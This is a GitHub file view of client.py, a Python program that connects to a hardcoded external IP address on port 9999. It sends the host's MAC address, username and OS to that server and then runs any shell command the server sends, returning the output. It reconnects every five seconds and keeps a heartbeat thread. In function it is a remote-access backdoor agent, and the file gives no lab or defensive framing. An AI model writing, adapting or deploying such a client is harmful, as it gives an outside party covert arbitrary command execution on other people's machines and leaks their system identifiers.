-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
236 lines (203 loc) · 7.82 KB
/
client.py
File metadata and controls
236 lines (203 loc) · 7.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
import socket
import uuid
import json
import threading
import getpass
import platform
import subprocess
import time
import os
class Client:
def __init__(self, server_host='154.64.244.229', server_port=9999):
self.server_host = server_host
self.server_port = server_port
self.client_socket = None
self.mac_address = self.get_mac_address()
self.username = getpass.getuser()
self.system_info = platform.system() + " " + platform.release()
self.running = True
self.current_directory = os.getcwd()
self.send_lock = threading.Lock()
def get_mac_address(self):
mac = uuid.getnode()
return ':'.join(['{:02x}'.format((mac >> i) & 0xff)
for i in range(0, 12, 2)][::-1])
def connect_to_server(self):
try:
self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client_socket.connect((self.server_host, self.server_port))
client_info = {
'mac': self.mac_address,
'username': self.username,
'system': self.system_info
}
self.send_message(client_info) # 发送设备信息到server端)
print(f"已连接到服务器 {self.server_host}:{self.server_port}")
return True
except Exception as e:
print(f"连接服务器失败: {e}")
return False
def send_message(self, message):
try:
message_str = json.dumps(message, ensure_ascii=False) + "\n"
with self.send_lock:
self.client_socket.sendall(message_str.encode("utf-8"))
return True
except Exception as e:
print(f"发送消息失败: {e}")
return False
def heartbeat_loop(self, interval=5):
while self.running:
ok = self.send_message({'type': 'heartbeat'})
if not ok:
break
time.sleep(interval)
# 随时监听服务器命令
def receive_commands(self):
buffer = b""
while self.running:
try:
data = self.client_socket.recv(4096)
if not data:
print("服务器连接已断开")
break
buffer += data
while b"\n" in buffer:
line, buffer = buffer.split(b"\n", 1)
if not line.strip():
continue
try:
command = json.loads(line.decode("utf-8"))
except json.JSONDecodeError:
continue
response = self.handle_message(command)
if response is not None:
self.send_message(response)
except Exception as e:
print(f"接收命令时出错: {e}")
break
def handle_message(self, command):
ctype = command.get('type')
if ctype == 'ping':
return {'status': 'success', 'message': 'pong'}
elif ctype == 'heartbeat':
return {'status': 'success', 'message': 'heartbeat ack'}
elif ctype == 'info':
return {
'status': 'success',
'data': {
'mac': self.mac_address,
'username': self.username,
'system': self.system_info,
'current_dir': self.current_directory
}
}
elif ctype == 'execute':
return self.execute_command(command.get('command'))
else:
return None
# 命令执行器
def execute_command(self, cmd):
try:
if not cmd:
return {'status': 'error', 'message': '命令为空'}
stripped = cmd.strip()
if stripped.startswith('cd ') or stripped == 'cd':
return self.handle_cd_command(stripped)
if stripped == 'pwd':
return {
'status': 'success',
'command': cmd,
'stdout': self.current_directory + '\n',
'stderr': '',
'returncode': 0,
'current_dir': self.current_directory
}
is_windows = (platform.system() == "Windows")
try:
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True,
encoding='gbk' if is_windows else 'utf-8',
errors='ignore' if is_windows else None,
timeout=30,
cwd=self.current_directory
)
return {
'status': 'success',
'command': cmd,
'stdout': result.stdout if result.stdout else '',
'stderr': result.stderr if result.stderr else '',
'returncode': result.returncode,
'current_dir': self.current_directory
}
except subprocess.TimeoutExpired:
return {'status': 'error', 'command': cmd, 'message': '命令执行超时'}
except Exception as e:
return {'status': 'error', 'command': cmd, 'message': f'执行错误: {str(e)}'}
except Exception as e:
return {'status': 'error', 'message': f'命令处理异常: {str(e)}'}
def handle_cd_command(self, cmd):
try:
parts = cmd.split(' ', 1)
if len(parts) == 1 or parts[1].strip() == '':
target_dir = os.path.expanduser('~')
else:
target_dir = parts[1].strip()
if not os.path.isabs(target_dir):
target_dir = os.path.join(self.current_directory, target_dir)
target_dir = os.path.normpath(target_dir)
if os.path.exists(target_dir) and os.path.isdir(target_dir):
self.current_directory = target_dir
return {
'status': 'success',
'command': cmd,
'stdout': f'切换到目录: {self.current_directory}\n',
'stderr': '',
'returncode': 0,
'current_dir': self.current_directory
}
else:
return {
'status': 'error',
'command': cmd,
'stdout': '',
'stderr': f'目录不存在: {target_dir}\n',
'returncode': 1,
'current_dir': self.current_directory
}
except Exception as e:
return {'status': 'error', 'command': cmd, 'message': f'cd 命令执行错误: {str(e)}'}
def start(self):
while True:
if self.connect_to_server():
self.running = True
recv_thread = threading.Thread(target=self.receive_commands, daemon=True)
hb_thread = threading.Thread(target=self.heartbeat_loop, daemon=True)
recv_thread.start()
hb_thread.start()
recv_thread.join()
self.running = False
try:
self.client_socket.close()
except:
pass
self.client_socket = None
print("连接丢失,5秒后尝试重连...")
time.sleep(5)
def stop(self):
self.running = False
if self.client_socket:
try:
self.client_socket.close()
except:
pass
if __name__ == "__main__":
client = Client()
try:
client.start()
except KeyboardInterrupt:
print("\n正在关闭客户端...")
client.stop()